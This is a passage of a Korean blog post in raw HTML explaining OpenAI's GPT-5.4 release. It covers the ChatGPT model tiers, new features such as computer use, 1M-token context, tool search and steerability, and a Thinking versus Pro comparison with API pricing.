&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;세 가지 티어 한눈에 보기&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ChatGPT 모델 선택 화면에는 이제 아래 세 가지가 표시된다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;ChatGPT 표시명&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;API 모델명&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;접근 플랜&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Instant 5.3&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;즉시 대답. 빠른 일상 대화&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;gpt-5.3&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;무료 포함 전체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f8ff;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Thinking 5.4&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;좋은 답변을 위해 더 오래 생각. 추론 강화&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;gpt-5.4&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Plus, Team, Pro, Enterprise&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Pro 5.4&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;리서치급 인텔리전스. 최대 성능&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;code&gt;gpt-5.4-pro&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Pro ($200/월), Enterprise 전용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://help.openai.com/en/articles/11909943&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;help.openai.com&lt;/a&gt;, &lt;a href=&quot;https://developers.openai.com/api/docs/models/gpt-5.4-pro&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI API Docs&lt;/a&gt;)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJHDmq/dJMcaaYKu4F/gTWVMxPKT0ZRincvIbxI20/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJHDmq/dJMcaaYKu4F/gTWVMxPKT0ZRincvIbxI20/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJHDmq/dJMcaaYKu4F/gTWVMxPKT0ZRincvIbxI20/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJHDmq%2FdJMcaaYKu4F%2FgTWVMxPKT0ZRincvIbxI20%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1092&quot; height=&quot;1062&quot; data-origin-width=&quot;1092&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Auto 모드는 무엇인가?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;ChatGPT 모델 선택 화면 최상단의 &lt;b&gt;Auto&lt;/b&gt; 옵션은 라우팅 레이어이다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;질문의 복잡도를 감지해 Instant 5.3과 Thinking 5.4 중 자동으로 선택해 응답한다.&lt;/p&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;API 상에서는 &lt;code&gt;gpt-5-chat-latest&lt;/code&gt;로 매핑된다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: 6가지 핵심 신기능 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. GPT-5.4의 7가지 핵심 신기능&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1) 컴퓨터 사용 (Computer Use) &amp;mdash; 업계 최초 메인라인 탑재&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이번에 가장 놀라운 변화는 바로 이겁니다. GPT-5.4가 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;메인라인 모델 최초로 컴퓨터 사용 기능을 기본 탑재&lt;/b&gt;&lt;/span&gt;했어요. Claude의 Computer Use와 비슷한 개념이라고 보시면 됩니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI가 직접 마우스를 클릭하고, 키보드를 입력하고, 브라우저를 조작할 수 있게 된 거예요.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;OSWorld-Verified 벤치마크: 75.0%&lt;/b&gt; &amp;mdash; 인간 기준선 72.4%를 초과한 첫 OpenAI 모델 (GPT-5.2 대비 47.3%에서 급등)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;build-run-verify-fix 루프 실행:&lt;/b&gt; Codex에서 코드를 작성하고, 실행하고, 결과를 보고, 자체 수정하는 완전한 에이전트 루프&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;별도 도구 불필요:&lt;/b&gt; 이전에는 Operator 제품이나 별도 스캐폴딩이 필요했던 작업을 단일 모델 호출로 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 변화: Stateless &amp;rarr; Stateful (지속적 환경)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이전 모델(GPT-5.3 Codecs)은 작업할 때마다 &lt;b&gt;새로운 환경을 구축(Stateless)&lt;/b&gt;해야 했다. GPT-5.4는 OS의 상태와 작업 맥락을 그대로 유지하는 &lt;b&gt;지속적(Persistent) KUA 환경&lt;/b&gt;을 제공한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 20px; padding: 0; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;단기 기억 확보:&lt;/b&gt; 이전 작업을 기억하며 자연스럽게 다음 단계로 이어짐&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;토큰 사용량 2/3 절감:&lt;/b&gt; OpenAI 발표 기준 &amp;mdash; 매번 환경을 새로 설명할 필요가 없어지기 때문 (Tool Search의 47% 절감과 별도 효과)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;실제 사용 예&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;PCWorld 보도에 따르면: &quot;Quicken에서 장부를 정리해줘&quot;라고 요청하면 &amp;mdash; 앱을 실행하고, UI를 탐색하고, 작업을 완료한다. 노코드 에이전트 자동화의 새 시대다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://openai.com/index/introducing-gpt-5-4/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Introducing GPT-5.4 | OpenAI&lt;/a&gt;, &lt;a href=&quot;https://www.pcworld.com/article/3079812/openais-new-flagship-gpt-model-can-control-your-pc.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;PCWorld&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2) 100만 토큰 컨텍스트 (1M Token Context)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 번에 얼마나 많은 정보를 넣을 수 있느냐, 이게 실무에서는 정말 중요한 문제인데요. GPT-5.4는 최대 100만 토큰 컨텍스트를 지원합니다. 전체 코드베이스, 수백 페이지의 법률 문서, 대규모 데이터셋을 단일 요청으로 처리할 수 있어요.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;중요: 기본값은 272K 토큰&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;1M 컨텍스트는 기본이 아니다. API에서 &lt;code&gt;model_context_window&lt;/code&gt;와 &lt;code&gt;model_auto_compact_token_limit&lt;/code&gt; 파라미터를 명시적으로 설정해야 활성화된다. 또한 &lt;b&gt;272K 토큰 초과 구간부터는 정상 요금의 2배 과금&lt;/b&gt;이 적용된다.&lt;/p&gt;
&lt;/div&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;API 기본:&lt;/b&gt; 272K 토큰 (공식 확인)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;API 1M 옵트인:&lt;/b&gt; 1,050,000 토큰 (실험적, 공식 확인)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;ChatGPT 플랜별 컨텍스트:&lt;/b&gt; 플랜에 따라 상이 &amp;mdash; 최신 정보는 &lt;a href=&quot;https://help.openai.com/en/articles/11909943&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 Help Center&lt;/a&gt;에서 확인 권장&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: 컨텍스트가 길다고 항상 좋은 건 아니다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;OpenAI 공식 Codex 가이드는 &quot;불필요하거나 부정확한 컨텍스트를 채우면 오히려 신뢰도가 낮아진다&quot;고 명시하고 있다. 관련성 높은 정보만 선별해 넣는 것이 핵심이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://community.openai.com/t/gpt-5-4-deep-dive-pricing-context-limits-and-tool-search-explained/1375800&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Community 공식 딥다이브&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3) Tool Search &amp;mdash; 토큰 47% 절감&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;API 비용이 걱정되는 분들이라면 이 기능에 주목해주세요. 에이전트 워크플로우(AI가 여러 도구를 연결해 자동으로 작업하는 흐름)에서 가장 중요한 새 기능 중 하나입니다. 모든 도구 정의를 한 번에 로드하는 대신, &lt;b&gt;필요할 때만 검색해서 로드&lt;/b&gt;하는 방식이에요.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;MCP Atlas 벤치마크 250개 태스크:&lt;/b&gt; 동일 정확도에서 &lt;b&gt;토큰 사용량 47% 절감&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;대형 도구 생태계에 특히 효과적:&lt;/b&gt; 수십~수백 개의 MCP 도구를 쓰는 에이전트에서 비용 절감 효과 극대화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;순 API 비용 감소 효과:&lt;/b&gt; 토큰당 단가는 GPT-5.2보다 올랐지만, Tool Search로 실제 사용 토큰이 줄어 총비용은 크게 증가하지 않을 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://community.openai.com/t/gpt-5-4-deep-dive-pricing-context-limits-and-tool-search-explained/1375800&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Community 공식 딥다이브&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4) 컨텍스트 컴팩션 (Context Compaction)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI와 긴 대화를 나누다 보면 &quot;아까 말한 거 왜 까먹었어?&quot;라는 경험, 다들 있으시죠? GPT-5.4는 긴 에이전트 실행 이력을 유지하는 최초의 메인라인 OpenAI 모델입니다. 이전 모델들은 긴 멀티턴(여러 차례 주고받는) 에이전트 체인에서 앞부분 맥락이 점차 사라지는 문제가 있었어요.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;에이전트 궤적(Trajectory) 유지:&lt;/b&gt; 수백 단계를 거치는 자율 에이전트에서도 초기 목표와 맥락 유지&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Responses API 통합:&lt;/b&gt; &lt;code&gt;previous_response_id&lt;/code&gt; 체이닝으로 멀티턴 에이전트 상태 유지 &amp;mdash; Compaction은 이전 컨텍스트를 암호화된 압축 아이템으로 요약해 다음 턴에 전달 (원시 CoT 토큰을 그대로 전달하는 방식이 아님)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5) 코딩 통합 &amp;mdash; GPT-5.3-Codex 흡수&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;개발자분들에게 반가운 소식이에요. GPT-5.3-Codex의 프런티어(Frontier, 최첨단) 코딩 능력이 GPT-5.4 메인라인에 통합되었습니다. 이제 별도 Codex 모델을 따로 쓸 필요가 없어요.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;SWE-bench Pro: 57.7%&lt;/b&gt; (출처: OpenAI 공식 발표)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;o3 대비 22% 적은 출력 토큰, 45% 적은 도구 호출&lt;/b&gt; (출처: Medium, GPT-5 vs o3 비교 분석 &amp;mdash; 공식 미확인, 참고용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6) 비즈니스 워크플로우 개선&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;회사에서 AI를 업무에 쓰고 계신 분들이라면 이 부분이 체감될 겁니다. 엔터프라이즈 환경을 겨냥한 실용적 개선들이에요.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;스프레드시트&amp;middot;문서 분석 성능 향상&lt;/b&gt; &amp;mdash; 투자은행 수준 스프레드시트 모델링 포함 (정확한 벤치마크 수치는 공식 발표 확인 필요)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Microsoft Excel / Google Sheets 금융 플러그인:&lt;/b&gt; 회계, 재무 분석 작업 자동화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;오류율 감소:&lt;/b&gt; 개별 사실 오류 33% 감소, 오류 포함 전체 응답 18% 감소 (vs GPT-5.2) (출처: &lt;a href=&quot;https://openai.com/index/introducing-gpt-5-4/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 공식 발표&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://openai.com/index/introducing-gpt-5-4/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Introducing GPT-5.4 | OpenAI&lt;/a&gt;, &lt;a href=&quot;https://venturebeat.com/technology/openai-launches-gpt-5-4-with-native-computer-use-mode-financial-plugins-for&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VentureBeat&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7) 스티어빌리티 (Steerability) &amp;mdash; 생각 도중 실시간 방향 수정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AI가 한참 생각하고 있는데, &quot;아 그 방향 아닌데...&quot;라고 느낀 적 있으시죠? GPT-5.4에서 새롭게 도입된 &lt;b&gt;스티어빌리티(Steerability, 방향 전환 기능)&lt;/b&gt;는 AI가 답변을 생성(Thinking)하는 &lt;b&gt;도중&lt;/b&gt;에 사용자가 개입해서 즉시 방향을 수정할 수 있는 기능입니다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;사용 예&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;AI가 현재 위치를 기반으로 날씨를 조사하는 '생각' 도중, 사용자가 &lt;i&gt;&quot;캘리포니아 기준으로 바꿔줘&quot;&lt;/i&gt;라고 말하면 &amp;mdash; AI는 즉시 논리 회로를 변경해 새로운 기준으로 응답한다.&lt;/p&gt;
&lt;/div&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;긴 작업에서 특히 강력:&lt;/b&gt; 코딩처럼 오래 걸리는 작업이 잘못된 방향으로 흐르기 전에 &quot;A 방식이 아닌 B 방식으로 해줘&quot;라고 중간 수정 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;시행착오 대폭 감소:&lt;/b&gt; 전체 결과를 받은 뒤 다시 프롬프트를 쓰는 낭비 없이, 작업 중간에 실시간 협업 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;ChatGPT UI + API 모두 지원:&lt;/b&gt; Thinking 5.4에서 Preamble(계획 미리보기)과 함께 활용하면 최적&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: Thinking vs Pro 비교 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. Thinking 5.4 vs Pro 5.4 비교&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추론 메커니즘 차이&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 티어는 같은 GPT-5.4 기반 모델이지만, &lt;b&gt;추론에 투입하는 컴퓨팅 예산과 제한의 차이&lt;/b&gt;가 본질적인 구분이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;항목&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;Thinking 5.4&lt;/th&gt;
&lt;th style=&quot;padding: 14px 15px; text-align: left; border: 1px solid #2a5a82;&quot;&gt;Pro 5.4&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;추론 깊이&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;high (최대 깊이에서 타임아웃 가능)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;xhigh (예산 무제한)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;컴퓨팅 예산 캡&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;있음 (Heavy 제외)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;없음 (항상 Heavy)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Preamble (계획 미리보기)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;제공 (중간 개입 가능)&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;제공&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Apps, Memory, Canvas&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;사용 가능&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;비활성 (컴퓨팅 집약도 때문)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;이미지 생성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;가능&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;비활성&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;API 엔드포인트&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;Chat Completions + Responses API&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;Responses API 전용&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;API 토큰 비용&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;$2.50 / $15 per M&lt;/td&gt;
&lt;td style=&quot;padding: 12px 15px; border: 1px solid #ddd;&quot;&gt;&lt;b&gt;$30 / $180 per M (12배)&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 8px; font-size: 13px; color: #666;&quot; data-ke-size=&quot;size14&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/api/docs/models/gpt-5.4-pro&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI API Docs&lt;/a&gt;, &lt;a href=&quot;https://help.openai.com/en/articles/11909943&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Help Center&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;벤치마크 비교&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;흥미로운 점은 Pro가 모든 분야에서 Thinking을 앞서는 것이 아니라는 것이다. &lt;b&gt;일상 지식 업무에서는 Thinking이 오히려 우세&lt;/b&gt;하다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
